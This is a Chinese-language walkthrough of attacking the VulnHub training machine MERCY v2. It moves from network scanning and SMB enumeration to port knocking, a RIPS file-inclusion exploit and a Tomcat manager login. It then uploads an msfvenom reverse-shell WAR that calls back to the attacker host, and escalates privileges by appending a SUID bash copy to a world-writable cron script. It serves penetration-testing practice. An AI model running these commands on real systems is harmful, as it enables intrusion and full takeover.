一.环境搭建
1.靶场描述
MERCY is a machine dedicated to Offensive Security for the PWK course, and to a great friend of mine who was there to share my sufferance with me. :-)
MERCY is a name-play on some aspects of the PWK course. It is NOT a hint for the box.
If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Mercy is: (#1): what you always plead for but cannot get, (#2): a dubious machine, (#3): https://www.youtube.com/watch?v=c-5UnMdKg70
Note: Some report a kernel privilege escalation works on this machine. If it does, try harder! There is another vector that you should try!
Feel free to contact the author at https://donavan.sg/blog if you would like to drop a comment.
## Changelog MERCY v2 - 2018-12-28 MERCY v1 - 2018-09-28
2.靶场下载
https://download.vulnhub.com/digitalworld/MERCY-v2.zip
3.靶场启动
二.信息收集
1.寻找靶场真实的ip地址
nmap -sP 192.168.14.0/24
arp-scan -l
我们知道靶场的真实IP为192.168.14.3
2.探测端口及服务
nmap -p- -sV 192.168.14.3
我们可以看到好多的端口,但是22端口和80端口没有开放
三.渗透测试
1.访问web服务
http://192.168.14.3:110
我们可以看到除了8080端口之外,其他端口页面报错。
http://192.168.14.3:8080
我们可以看到是一个默认的tomcat页面,我们进行扫描
2.扫描web服务
dirb http://192.168.14.3:8080
我们扫描到一个登录页面,一个robots.txt
3.渗透测试
1)访问robots.txt和manager
http://192.168.14.3:8080/robots.txt
我们进行访问,发现是一串base64编码,我们进行解密,然后翻译,最后发现一个密码是password
我们访问/manager/,发现是一个登录页面,但是我们不知道用户名和密码
所以这里我们的思路就断了,先把password放一放,我们在扫描端口的时候,扫描到了smb服务,我们使用enum4linux对目标smb服务进行枚举
2)smb服务
enum4linux -a 192.168.14.3
enum4linux
是一个用于枚举 Windows 和 Samba 系统上信息的工具,它可以帮助你发现目标系统的用户列表、组列表、共享信息以及其他一些有用的信息。这个工具特别适用于渗透测试和安全评估。
smbclient -NL 192.168.14.3
根据前面2个命令,我们可以看到用户名是qiu
我们前面找到密码是password,用户名是qiu,我们使用smbclient查看目标文件共享
smbclient -U qiu \\\\192.168.14.3\\qiu
使用用户名 qiu
连接到 IP 地址为 192.168.14.3的 SMB 服务器的 qiu
共享资源。
我们可以看到一个隐藏目录,可能用于存放私人或敏感的文件,我们进行查看
我们在kali里面查看
我们可以看到2个文件,我们进行查看
我们可以看到是一个敲门端口,我们前面找到22端口和80端口没有开启,这里我们使用knock命令开启22和80端口
3)敲门端口
我们使用命令开启22端口和80端口
knock 192.168.14.3 159 27391 4 -v
knock 192.168.14.3 17301 28504 9999 -v
我们再次查看端口,可以看到80端口及22端口开启了
4)访问80端口
http://192.168.14.3
好像没有什么用,我们进行扫描
dirb http://192.168.14.3
我们扫描到robots.txt,我们进行查看
http://192.168.14.3/nomercy/,我们可以看到是ripscms,我们进行漏洞利用
5)文件包含漏洞
我们在kali自带的漏洞里面查看
searchsploit rips 0.53
我们进行查看
我们可以看到poc,我们进行查看
存在文件包含漏洞
前面8080端口提示
我们就使用文件包含进行查看
我们看到用户名和密码,我们前面扫描出来一个登录页面,我们进行登录
6)tomcat登录
<user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
我们可以看到登录成功
7)文件上传
我们在下面可以看到一个文件上传页面,而且规定文件类型是war
那么我们就使用msf进行
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.14.4 lport=5555 -f war >MS02423.war
如何我们进行反弹shell
我们可以看到反弹成功
8)提权
使用python切换交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
ls -la
这些都没有什么用,前面文件包含我们可以看到2个用户名和密码,我们试试第二个用户名和密码
我们成功登录
我们在home目录下,看到一个定时任务,权限是777,那么我们就可以使用它进行提权,我们修改内容
echo 'cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash' >> timeclock
我们可以看到成功提权